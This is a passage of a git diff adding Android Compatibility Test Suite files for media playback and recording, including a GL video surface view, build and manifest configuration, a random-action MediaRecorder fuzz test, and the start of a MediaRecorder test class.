+ * Copyright (C) 2011 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.player.cts;
+
+import android.media.player.cts.R;
+
+import android.platform.test.annotations.AppModeFull;
+import java.io.IOException;
+
+import javax.microedition.khronos.egl.EGLConfig;
+import javax.microedition.khronos.opengles.GL10;
+
+import android.content.Context;
+import android.graphics.SurfaceTexture;
+import android.media.MediaPlayer;
+import android.media.cts.TextureRender;
+import android.opengl.GLSurfaceView;
+import android.opengl.Matrix;
+import android.util.Log;
+import android.view.Surface;
+
+@AppModeFull(reason = "TODO: evaluate and port to instant")
+class VideoSurfaceView extends GLSurfaceView {
+    private static final String TAG = "VideoSurfaceView";
+    private static final int SLEEP_TIME_MS = 1000;
+
+    VideoRender mRenderer;
+    private MediaPlayer mMediaPlayer = null;
+
+    public VideoSurfaceView(Context context, MediaPlayer mp) {
+        super(context);
+
+        setEGLContextClientVersion(2);
+        mMediaPlayer = mp;
+        mRenderer = new VideoRender(context);
+        setRenderer(mRenderer);
+    }
+
+    @Override
+    public void onResume() {
+        queueEvent(new Runnable(){
+                public void run() {
+                    mRenderer.setMediaPlayer(mMediaPlayer);
+                }});
+
+        super.onResume();
+    }
+
+    public void startTest() throws Exception {
+        Thread.sleep(SLEEP_TIME_MS);
+        mMediaPlayer.start();
+
+        Thread.sleep(SLEEP_TIME_MS * 5);
+        mMediaPlayer.setSurface(null);
+
+        while (mMediaPlayer.isPlaying()) {
+            Thread.sleep(SLEEP_TIME_MS);
+        }
+    }
+
+    /**
+     * A GLSurfaceView implementation that wraps TextureRender.  Used to render frames from a
+     * video decoder to a View.
+     */
+    private static class VideoRender
+            implements GLSurfaceView.Renderer, SurfaceTexture.OnFrameAvailableListener {
+        private static String TAG = "VideoRender";
+
+        private TextureRender mTextureRender;
+        private SurfaceTexture mSurfaceTexture;
+        private boolean updateSurface = false;
+
+        private MediaPlayer mMediaPlayer;
+
+        public VideoRender(Context context) {
+            mTextureRender = new TextureRender();
+        }
+
+        public void setMediaPlayer(MediaPlayer player) {
+            mMediaPlayer = player;
+        }
+
+        public void onDrawFrame(GL10 glUnused) {
+            synchronized(this) {
+                if (updateSurface) {
+                    mSurfaceTexture.updateTexImage();
+                    updateSurface = false;
+                }
+            }
+
+            mTextureRender.drawFrame(mSurfaceTexture);
+        }
+
+        public void onSurfaceChanged(GL10 glUnused, int width, int height) {
+        }
+
+        public void onSurfaceCreated(GL10 glUnused, EGLConfig config) {
+            mTextureRender.surfaceCreated();
+
+            /*
+             * Create the SurfaceTexture that will feed this textureID,
+             * and pass it to the MediaPlayer
+             */
+            mSurfaceTexture = new SurfaceTexture(mTextureRender.getTextureId());
+            mSurfaceTexture.setOnFrameAvailableListener(this);
+
+            Surface surface = new Surface(mSurfaceTexture);
+            mMediaPlayer.setSurface(surface);
+            surface.release();
+
+            try {
+                mMediaPlayer.prepare();
+            } catch (IOException t) {
+                Log.e(TAG, "media player prepare failed");
+            }
+
+            synchronized(this) {
+                updateSurface = false;
+            }
+        }
+
+        synchronized public void onFrameAvailable(SurfaceTexture surface) {
+            updateSurface = true;
+        }
+    }  // End of class VideoRender.
+
+}  // End of class VideoSurfaceView.
diff --git a/tests/tests/media/player/src/android/media/player/cts/WorkDir.java b/tests/tests/media/player/src/android/media/player/cts/WorkDir.java
new file mode 100644
index 0000000..622d733
--- /dev/null
+++ b/tests/tests/media/player/src/android/media/player/cts/WorkDir.java
@@ -0,0 +1,25 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.player.cts;
+
+import android.media.cts.WorkDirBase;
+
+class WorkDir extends WorkDirBase {
+    public static final String getMediaDirString() {
+        return getMediaDirString("CtsMediaPlayerTestCases-1.0");
+    }
+}
diff --git a/tests/tests/media/recorder/Android.bp b/tests/tests/media/recorder/Android.bp
new file mode 100644
index 0000000..9e17567
--- /dev/null
+++ b/tests/tests/media/recorder/Android.bp
@@ -0,0 +1,59 @@
+// Copyright (C) 2021 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+package {
+    // See: http://go/android-license-faq
+    default_applicable_licenses: [
+        "Android-Apache-2.0",
+        "cts_tests_tests_media_license", // CC-BY
+    ],
+}
+
+android_test {
+    name: "CtsMediaRecorderTestCases",
+    defaults: ["cts_defaults"],
+    // include both the 32 and 64 bit versions
+    compile_multilib: "both",
+    static_libs: [
+        "ctstestrunner-axt",
+        "cts-media-common",
+    ],
+    // do not compress media files
+    aaptflags: [
+        "-0 .vp9",
+        "-0 .ts",
+        "-0 .heic",
+        "-0 .trp",
+        "-0 .ota",
+        "-0 .mxmf",
+    ],
+    srcs: [
+        "src/**/*.java",
+        "aidl/**/*.aidl",
+    ],
+    platform_apis: true,
+    jni_uses_sdk_apis: true,
+    libs: [
+        "android.test.base",
+        "android.test.runner",
+    ],
+    test_suites: [
+        "cts",
+        "general-tests",
+        "mts-media",
+    ],
+    host_required: ["cts-dynamic-config"],
+    min_sdk_version: "29",
+    target_sdk_version: "31",
+}
diff --git a/tests/tests/media/recorder/AndroidManifest.xml b/tests/tests/media/recorder/AndroidManifest.xml
new file mode 100644
index 0000000..28ddf67
--- /dev/null
+++ b/tests/tests/media/recorder/AndroidManifest.xml
@@ -0,0 +1,44 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2021 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+     package="android.media.recorder.cts"
+     android:targetSandboxVersion="2">
+
+    <uses-permission android:name="android.permission.WAKE_LOCK"/>
+    <uses-permission android:name="android.permission.FOREGROUND_SERVICE"/>
+    <uses-permission android:name="android.permission.INSTANT_APP_FOREGROUND_SERVICE"/>
+    <uses-permission android:name="android.permission.CAMERA"/>
+    <uses-permission android:name="android.permission.RECORD_AUDIO"/>
+    <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
+    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
+    <uses-permission android:name="android.permission.MANAGE_EXTERNAL_STORAGE"/>
+
+    <application android:requestLegacyExternalStorage="true"
+         android:largeHeap="true">
+        <uses-library android:name="android.test.runner"/>
+
+    </application>
+
+    <uses-sdk android:minSdkVersion="29" android:targetSdkVersion="31"/>
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+         android:targetPackage="android.media.recorder.cts"
+         android:label="CTS tests of android MediaRecorder">
+        <meta-data android:name="listener"
+             android:value="com.android.cts.runner.CtsTestRunListener"/>
+    </instrumentation>
+
+</manifest>
diff --git a/tests/tests/media/recorder/AndroidTest.xml b/tests/tests/media/recorder/AndroidTest.xml
new file mode 100644
index 0000000..772e6ec
--- /dev/null
+++ b/tests/tests/media/recorder/AndroidTest.xml
@@ -0,0 +1,46 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2021 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS Media recorder test cases">
+    <option name="test-suite-tag" value="cts" />
+    <option name="config-descriptor:metadata" key="component" value="media" />
+    <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <target_preparer class="com.android.tradefed.targetprep.DeviceSetup">
+        <option name="force-skip-system-props" value="true" /> <!-- avoid restarting device -->
+        <option name="set-test-harness" value="false" />
+        <option name="screen-always-on" value="on" />
+        <option name="screen-adaptive-brightness" value="off" />
+        <option name="disable-audio" value="false"/>
+        <option name="screen-saver" value="off"/>
+    </target_preparer>
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsMediaRecorderTestCases.apk" />
+    </target_preparer>
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="package" value="android.media.recorder.cts" />
+        <!-- setup can be expensive so limit the number of shards -->
+        <option name="ajur-max-shard" value="5" />
+        <!-- test-timeout unit is ms, value = 10 min -->
+        <option name="test-timeout" value="600000" />
+        <option name="runtime-hint" value="1h" />
+        <option name="exclude-annotation" value="org.junit.Ignore" />
+        <option name="hidden-api-checks" value="false" />
+        <!-- disable isolated storage so tests can access dynamic config stored in /sdcard. -->
+        <option name="isolated-storage" value="false" />
+    </test>
+</configuration>
diff --git a/tests/tests/media/recorder/OWNERS b/tests/tests/media/recorder/OWNERS
new file mode 100644
index 0000000..e8a30362
--- /dev/null
+++ b/tests/tests/media/recorder/OWNERS
@@ -0,0 +1,3 @@
+# Bug component: 1119246
+# go/android-fwk-media-solutions for info on areas of ownership.
+include platform/frameworks/av:/media/janitors/media_solutions_OWNERS
diff --git a/tests/tests/media/recorder/src/android/media/recorder/cts/MediaRecorderRandomTest.java b/tests/tests/media/recorder/src/android/media/recorder/cts/MediaRecorderRandomTest.java
new file mode 100644
index 0000000..06f3b8f
--- /dev/null
+++ b/tests/tests/media/recorder/src/android/media/recorder/cts/MediaRecorderRandomTest.java
@@ -0,0 +1,189 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.media.recorder.cts;
+
+import android.media.MediaRecorder;
+import android.media.cts.MediaHeavyPresubmitTest;
+import android.media.cts.MediaStubActivity;
+import android.media.cts.NonMediaMainlineTest;
+import android.os.Environment;
+import android.platform.test.annotations.AppModeFull;
+import android.test.ActivityInstrumentationTestCase2;
+import android.util.Log;
+import android.view.SurfaceHolder;
+
+import com.android.compatibility.common.util.WatchDog;
+
+import java.io.File;
+import java.util.Random;
+
+/**
+ * Random input test for {@link MediaRecorder}.
+ *
+ * <p>Only fails when a crash or a blocking call happens. Does not verify output.
+ */
+@NonMediaMainlineTest
+@MediaHeavyPresubmitTest
+@AppModeFull(reason = "TODO: evaluate and port to instant")
+public class MediaRecorderRandomTest extends ActivityInstrumentationTestCase2<MediaStubActivity> {
+    private static final String TAG = "MediaRecorderRandomTest";
+    private static final int MAX_PARAM = 1000000;
+    private static final String OUTPUT_FILE =
+            Environment.getExternalStorageDirectory().toString() + "/record.3gp";
+
+    private static final int NUMBER_OF_RECORDER_RANDOM_ACTIONS = 100000;
+
+    private MediaRecorder mRecorder;
+    private SurfaceHolder mSurfaceHolder;
+
+    // Modified across multiple threads
+    private volatile boolean mMediaServerDied;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        getInstrumentation().waitForIdleSync();
+        mMediaServerDied = false;
+        mSurfaceHolder = getActivity().getSurfaceHolder();
+        try {
+            // Running this on UI thread make sure that
+            // onError callback can be received.
+            runTestOnUiThread(new Runnable() {
+                public void run() {
+                    mRecorder = new MediaRecorder();
+                }
+            });
+        } catch (Throwable e) {
+            e.printStackTrace();
+            fail();
+        }
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        if (mRecorder != null) {
+            mRecorder.release();
+            mRecorder = null;
+        }
+        super.tearDown();
+    }
+
+    public MediaRecorderRandomTest() {
+        super("android.media.recorder.cts", MediaStubActivity.class);
+    }
+
+    public void testRecorderRandomAction() throws Exception {
+        WatchDog watchDog = new WatchDog(5000);
+        try {
+            long seed = System.currentTimeMillis();
+            Log.v(TAG, "seed = " + seed);
+            Random r = new Random(seed);
+
+            mMediaServerDied = false;
+            mRecorder.setOnErrorListener(new MediaRecorder.OnErrorListener() {
+                @Override
+                public void onError(MediaRecorder recorder, int what, int extra) {
+                    if (mRecorder == recorder &&
+                            what == MediaRecorder.MEDIA_ERROR_SERVER_DIED) {
+                        Log.e(TAG, "mediaserver process died");
+                        mMediaServerDied = true;
+                    }
+                }
+            });
+
+            final int[] width = {176, 352, 320, 640, 1280, 1920};
+            final int[] height = {144, 288, 240, 480, 720, 1080};
+            final int[] audioSource = {
+                    MediaRecorder.AudioSource.DEFAULT,
+                    MediaRecorder.AudioSource.MIC,
+                    MediaRecorder.AudioSource.CAMCORDER,
+            };
+
+            watchDog.start();
+            for (int i = 0; i < NUMBER_OF_RECORDER_RANDOM_ACTIONS; i++) {
+                int action = r.nextInt(14);
+                int param = r.nextInt(MAX_PARAM);
+
+                Log.d(TAG, "Action: " + action + " Param: " + param);
+                watchDog.reset();
+                assertTrue(!mMediaServerDied);
+
+                try {
+                    switch (action) {
+                        case 0: {
+                            // We restrict the audio sources because setting some sources
+                            // may cause 2+ second delays because the input device may
+                            // retry - loop (e.g. VOICE_UPLINK for voice call to be initiated).
+                            final int index = param % audioSource.length;
+                            mRecorder.setAudioSource(audioSource[index]);
+                            break;
+                        }
+                        case 1:
+                            // Limiting the random test to test default and camera source
+                            // and not include video surface as required setInputSurface isn't
+                            // done in this test.
+                            mRecorder.setVideoSource(param % 2);
+                            break;
+                        case 2:
+                            mRecorder.setOutputFormat(param % 5);
+                            break;
+                        case 3:
+                            mRecorder.setAudioEncoder(param % 3);
+                            break;
+                        case 4:
+                            mRecorder.setVideoEncoder(param % 5);
+                            break;
+                        case 5:
+                            mRecorder.setPreviewDisplay(mSurfaceHolder.getSurface());
+                            break;
+                        case 6:
+                            int index = param % width.length;
+                            mRecorder.setVideoSize(width[index], height[index]);
+                            break;
+                        case 7:
+                            mRecorder.setVideoFrameRate((param % 40) - 1);
+                            break;
+                        case 8:
+                            mRecorder.setOutputFile(OUTPUT_FILE);
+                            break;
+                        case 9:
+                            mRecorder.prepare();
+                            break;
+                        case 10:
+                            mRecorder.start();
+                            break;
+                        case 11:
+                            Thread.sleep(param % 20);
+                            break;
+                        case 12:
+                            mRecorder.stop();
+                            break;
+                        case 13:
+                            mRecorder.reset();
+                            break;
+                        default:
+                            break;
+                    }
+                } catch (Exception e) {
+                }
+            }
+        } catch (Exception e) {
+            Log.v(TAG, e.toString());
+        } finally {
+            watchDog.stop();
+        }
+    }
+}
diff --git a/tests/tests/media/recorder/src/android/media/recorder/cts/MediaRecorderTest.java b/tests/tests/media/recorder/src/android/media/recorder/cts/MediaRecorderTest.java
new file mode 100644
index 0000000..5049978
--- /dev/null
+++ b/tests/tests/media/recorder/src/android/media/recorder/cts/MediaRecorderTest.java
@@ -0,0 +1,1875 @@
+/*
+ * Copyright (C) 2009 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.media.recorder.cts;
+
+import static android.media.MediaCodecInfo.CodecProfileLevel.*;
+
+import android.content.pm.PackageManager;
+import android.graphics.Canvas;
+import android.graphics.Color;
+import android.graphics.Paint;
+import android.hardware.Camera;
+import android.media.AudioFormat;
+import android.media.AudioManager;
+import android.media.AudioRecord;
+import android.media.AudioRecordingConfiguration;
+import android.media.CamcorderProfile;
+import android.media.EncoderCapabilities;
+import android.media.EncoderCapabilities.VideoEncoderCap;
+import android.media.MediaCodec;
+import android.media.MediaCodecInfo;
+import android.media.MediaCodecInfo.CodecCapabilities;
+import android.media.MediaCodecList;
+import android.media.MediaExtractor;
+import android.media.MediaFormat;
+import android.media.MediaMetadataRetriever;
+import android.media.MediaRecorder;
+import android.media.MediaRecorder.OnErrorListener;
+import android.media.MediaRecorder.OnInfoListener;
+import android.media.MicrophoneDirection;
+import android.media.MicrophoneInfo;
+import android.media.metrics.LogSessionId;
+import android.media.metrics.MediaMetricsManager;
+import android.media.metrics.RecordingSession;
+import android.media.cts.InputSurface;
+import android.media.cts.MediaStubActivity;
+import android.media.cts.NonMediaMainlineTest;
+import android.opengl.GLES20;
+import android.os.Build;
+import android.os.ConditionVariable;
+import android.os.Environment;
+import android.os.ParcelFileDescriptor;
+import android.os.PersistableBundle;
+import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.RequiresDevice;
+import android.test.ActivityInstrumentationTestCase2;
+import android.test.UiThreadTest;
+import android.util.Log;
+import android.view.Surface;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+
+import com.android.compatibility.common.util.ApiLevelUtil;
+import com.android.compatibility.common.util.CddTest;
+import com.android.compatibility.common.util.MediaUtils;
+
+import java.io.File;
+import java.io.FileDescriptor;
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.io.RandomAccessFile;
+import java.lang.Runnable;
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Set;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.Executor;
+import java.util.concurrent.TimeUnit;
+
+@SmallTest
+@RequiresDevice
+@AppModeFull(reason = "TODO: evaluate and port to instant")
+public class MediaRecorderTest extends ActivityInstrumentationTestCase2<MediaStubActivity> {
+    private final String TAG = "MediaRecorderTest";
+    private final String OUTPUT_PATH;
+    private final String OUTPUT_PATH2;
+    private static final float TOLERANCE = 0.0002f;
+    private static final int RECORD_TIME_MS = 3000;
+    private static final int RECORD_TIME_LAPSE_MS = 6000;
+    private static final int RECORD_TIME_LONG_MS = 20000;
+    private static final int RECORDED_DUR_TOLERANCE_MS = 1000;
+    private static final int TEST_TIMING_TOLERANCE_MS = 70;
+    // Tolerate 4 frames off at maximum
+    private static final float RECORDED_DUR_TOLERANCE_FRAMES = 4f;
+    private static final int VIDEO_WIDTH = 176;
+    private static final int VIDEO_HEIGHT = 144;
+    private static int mVideoWidth = VIDEO_WIDTH;
+    private static int mVideoHeight = VIDEO_HEIGHT;
+    private static final int VIDEO_BIT_RATE_IN_BPS = 128000;
+    private static final double VIDEO_TIMELAPSE_CAPTURE_RATE_FPS = 1.0;
+    private static final int AUDIO_BIT_RATE_IN_BPS = 12200;
+    private static final int AUDIO_NUM_CHANNELS = 1;
+    private static final int AUDIO_SAMPLE_RATE_HZ = 8000;
+    private static final long MAX_FILE_SIZE = 5000;
+    private static final int MAX_FILE_SIZE_TIMEOUT_MS = 5 * 60 * 1000;
+    private static final int MAX_DURATION_MSEC = 2000;
+    private static final float LATITUDE = 0.0000f;
+    private static final float LONGITUDE  = -180.0f;
+    private static final int NORMAL_FPS = 30;
+    private static final int TIME_LAPSE_FPS = 5;
+    private static final int SLOW_MOTION_FPS = 120;
+    private static final List<VideoEncoderCap> mVideoEncoders =
+            EncoderCapabilities.getVideoEncoders();
+
+    private boolean mOnInfoCalled;
+    private boolean mOnErrorCalled;
+    private File mOutFile;
+    private File mOutFile2;
+    private Camera mCamera;
+    private MediaStubActivity mActivity = null;
+    private int mFileIndex;
+
+    private MediaRecorder mMediaRecorder;
+    private ConditionVariable mMaxDurationCond;
+    private ConditionVariable mMaxFileSizeCond;
+    private ConditionVariable mMaxFileSizeApproachingCond;
+    private ConditionVariable mNextOutputFileStartedCond;
+    private boolean mExpectMaxFileCond;
+
+    // movie length, in frames
+    private static final int NUM_FRAMES = 120;
+
+    private static final int TEST_R0 = 0;                   // RGB equivalent of {0,0,0} (BT.601)
+    private static final int TEST_G0 = 136;
+    private static final int TEST_B0 = 0;
+    private static final int TEST_R1 = 236;                 // RGB equivalent of {120,160,200} (BT.601)
+    private static final int TEST_G1 = 50;
+    private static final int TEST_B1 = 186;
+
+    private final static String AVC = MediaFormat.MIMETYPE_VIDEO_AVC;
+
+    private boolean mIsAtLeastR = ApiLevelUtil.isAtLeast(Build.VERSION_CODES.R);
+    private boolean mIsAtLeastS = ApiLevelUtil.isAtLeast(Build.VERSION_CODES.S);
+
+    public MediaRecorderTest() {
+        super("android.media.recorder.cts", MediaStubActivity.class);
+        OUTPUT_PATH = new File(Environment.getExternalStorageDirectory(),
+                "record.out").getAbsolutePath();
+        OUTPUT_PATH2 = new File(Environment.getExternalStorageDirectory(),
+                "record2.out").getAbsolutePath();
+    }
+
+    private void completeOnUiThread(final Runnable runnable) {
+        final CountDownLatch latch = new CountDownLatch(1);
+        getActivity().runOnUiThread(new Runnable() {
+            @Override
+            public void run() {
+                runnable.run();
+                latch.countDown();
+            }
+        });
+        try {
+            // if UI thread does not run, things will fail anyway
+            assertTrue(latch.await(10, TimeUnit.SECONDS));
+        } catch (java.lang.InterruptedException e) {
+            fail("should not be interrupted");
+        }
+    }
+
+    @Override
+    protected void setUp() throws Exception {
+        mActivity = getActivity();
+        completeOnUiThread(new Runnable() {
+            @Override
+            public void run() {
+                mMediaRecorder = new MediaRecorder();
+                mOutFile = new File(OUTPUT_PATH);
+                mOutFile2 = new File(OUTPUT_PATH2);
+                mFileIndex = 0;
+
+                mMaxDurationCond = new ConditionVariable();
+                mMaxFileSizeCond = new ConditionVariable();
+                mMaxFileSizeApproachingCond = new ConditionVariable();
+                mNextOutputFileStartedCond = new ConditionVariable();
+                mExpectMaxFileCond = true;
+
+                mMediaRecorder.setOutputFile(OUTPUT_PATH);
+                mMediaRecorder.setOnInfoListener(new OnInfoListener() {
+                    public void onInfo(MediaRecorder mr, int what, int extra) {
+                        mOnInfoCalled = true;
+                        if (what ==
+                            MediaRecorder.MEDIA_RECORDER_INFO_MAX_DURATION_REACHED) {
+                            Log.v(TAG, "max duration reached");
+                            mMaxDurationCond.open();
+                        } else if (what ==
+                            MediaRecorder.MEDIA_RECORDER_INFO_MAX_FILESIZE_REACHED) {
+                            Log.v(TAG, "max file size reached");
+                            mMaxFileSizeCond.open();
+                        }
+                    }
+                });
+                mMediaRecorder.setOnErrorListener(new OnErrorListener() {
+                    public void onError(MediaRecorder mr, int what, int extra) {
+                        mOnErrorCalled = true;
+                    }
+                });
+            }
+        });
+        super.setUp();
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        if (mMediaRecorder != null) {
+            mMediaRecorder.release();
+            mMediaRecorder = null;
+        }
+        if (mOutFile != null && mOutFile.exists()) {
+            mOutFile.delete();
+        }
+        if (mOutFile2 != null && mOutFile2.exists()) {
+            mOutFile2.delete();
+        }
+        if (mCamera != null)  {
+            mCamera.release();
+            mCamera = null;
+        }
+        mMaxDurationCond.close();
+        mMaxDurationCond = null;
+        mMaxFileSizeCond.close();
+        mMaxFileSizeCond = null;
+        mMaxFileSizeApproachingCond.close();
+        mMaxFileSizeApproachingCond = null;
+        mNextOutputFileStartedCond.close();
+        mNextOutputFileStartedCond = null;
+        mActivity = null;
+        super.tearDown();
+    }
+
+    public void testRecorderCamera() throws Exception {
+        int width;
+        int height;
+        Camera camera = null;
+        if (!hasCamera()) {
+            MediaUtils.skipTest("no camera");
+            return;
+        }
+        // Try to get camera profile for QUALITY_LOW; if unavailable,
+        // set the video size to default value.
+        CamcorderProfile profile = CamcorderProfile.get(
+                0 /* cameraId */, CamcorderProfile.QUALITY_LOW);
+        if (profile != null) {
+            width = profile.videoFrameWidth;
+            height = profile.videoFrameHeight;
+        } else {
+            width = VIDEO_WIDTH;
+            height = VIDEO_HEIGHT;
+        }
+        mMediaRecorder.setVideoSource(MediaRecorder.VideoSource.CAMERA);
+        mMediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.DEFAULT);
+        mMediaRecorder.setVideoEncoder(MediaRecorder.VideoEncoder.DEFAULT);
+        mMediaRecorder.setVideoSize(width, height);
+        mMediaRecorder.setVideoEncodingBitRate(VIDEO_BIT_RATE_IN_BPS);
+        mMediaRecorder.setPreviewDisplay(mActivity.getSurfaceHolder().getSurface());
+        mMediaRecorder.prepare();
+        mMediaRecorder.start();
+        Thread.sleep(RECORD_TIME_MS);
+
+
+        // verify some getMetrics() behaviors while we're here.
+        PersistableBundle metrics = mMediaRecorder.getMetrics();
+        if (metrics == null) {
+            fail("MediaRecorder.getMetrics() returned null metrics");
+        } else if (metrics.isEmpty()) {
+            fail("MediaRecorder.getMetrics() returned empty metrics");
+        } else {
+            int size = metrics.size();
+            Set<String> keys = metrics.keySet();
+
+            if (size == 0) {
+                fail("MediaRecorder.getMetrics().size() reports empty record");
+            }
+
+            if (keys == null) {
+                fail("MediaMetricsSet returned no keys");
+            } else if (keys.size() != size) {
+                fail("MediaMetricsSet.keys().size() mismatch MediaMetricsSet.size()");
+            }
+
+            // ensure existence of some known fields
+            int videoBitRate = metrics.getInt(MediaRecorder.MetricsConstants.VIDEO_BITRATE, -1);
+            if (videoBitRate != VIDEO_BIT_RATE_IN_BPS) {
+                fail("getMetrics() videoEncodeBitrate set " +
+                     VIDEO_BIT_RATE_IN_BPS + " got " + videoBitRate);
+            }
+
+            // valid values are -1.0 and >= 0;
+            // tolerate some floating point rounding variability
+            double captureFrameRate = metrics.getDouble(MediaRecorder.MetricsConstants.CAPTURE_FPS, -2);
+            if (captureFrameRate < 0.) {
+                assertEquals("getMetrics() capture framerate=" + captureFrameRate, -1.0, captureFrameRate, 0.001);
+            }
+        }
+
+
+        mMediaRecorder.stop();
+        checkOutputExist();
+    }
+
+    public void testRecorderMPEG2TS() throws Exception {
+        int width;
+        int height;
+        Camera camera = null;
+        if (!hasCamera()) {
+            MediaUtils.skipTest("no camera");
+            return;
+        }
+        if (!hasMicrophone() || !hasAac()) {
+            MediaUtils.skipTest("no audio codecs or microphone");
+            return;
+        }
+        // Try to get camera profile for QUALITY_LOW; if unavailable,
+        // set the video size to default value.
+        CamcorderProfile profile = CamcorderProfile.get(
+                0 /* cameraId */, CamcorderProfile.QUALITY_LOW);
+        if (profile != null) {
+            width = profile.videoFrameWidth;
+            height = profile.videoFrameHeight;
+        } else {
+            width = VIDEO_WIDTH;
+            height = VIDEO_HEIGHT;
+        }
+        mMediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
+        mMediaRecorder.setVideoSource(MediaRecorder.VideoSource.CAMERA);
+        mMediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.MPEG_2_TS);
+        mMediaRecorder.setVideoEncoder(MediaRecorder.VideoEncoder.H264);
+        mMediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AAC);
+        mMediaRecorder.setVideoSize(width, height);
+        mMediaRecorder.setVideoEncodingBitRate(VIDEO_BIT_RATE_IN_BPS);
+        mMediaRecorder.setPreviewDisplay(mActivity.getSurfaceHolder().getSurface());
+        mMediaRecorder.prepare();
+        mMediaRecorder.start();
+        Thread.sleep(RECORD_TIME_MS);
+
+        // verify some getMetrics() behaviors while we're here.
+        PersistableBundle metrics = mMediaRecorder.getMetrics();
+        if (metrics == null) {
+            fail("MediaRecorder.getMetrics() returned null metrics");
+        } else if (metrics.isEmpty()) {
+            fail("MediaRecorder.getMetrics() returned empty metrics");
+        } else {
+            int size = metrics.size();
+            Set<String> keys = metrics.keySet();
+
+            if (size == 0) {
+                fail("MediaRecorder.getMetrics().size() reports empty record");
+            }
+
+            if (keys == null) {
+                fail("MediaMetricsSet returned no keys");
+            } else if (keys.size() != size) {
+                fail("MediaMetricsSet.keys().size() mismatch MediaMetricsSet.size()");
+            }
+
+            // ensure existence of some known fields
+            int videoBitRate = metrics.getInt(MediaRecorder.MetricsConstants.VIDEO_BITRATE, -1);
+            if (videoBitRate != VIDEO_BIT_RATE_IN_BPS) {
+                fail("getMetrics() videoEncodeBitrate set " +
+                     VIDEO_BIT_RATE_IN_BPS + " got " + videoBitRate);
+            }
+
+            // valid values are -1.0 and >= 0;
+            // tolerate some floating point rounding variability
+            double captureFrameRate = metrics.getDouble(MediaRecorder.MetricsConstants.CAPTURE_FPS, -2);
+            if (captureFrameRate < 0.) {
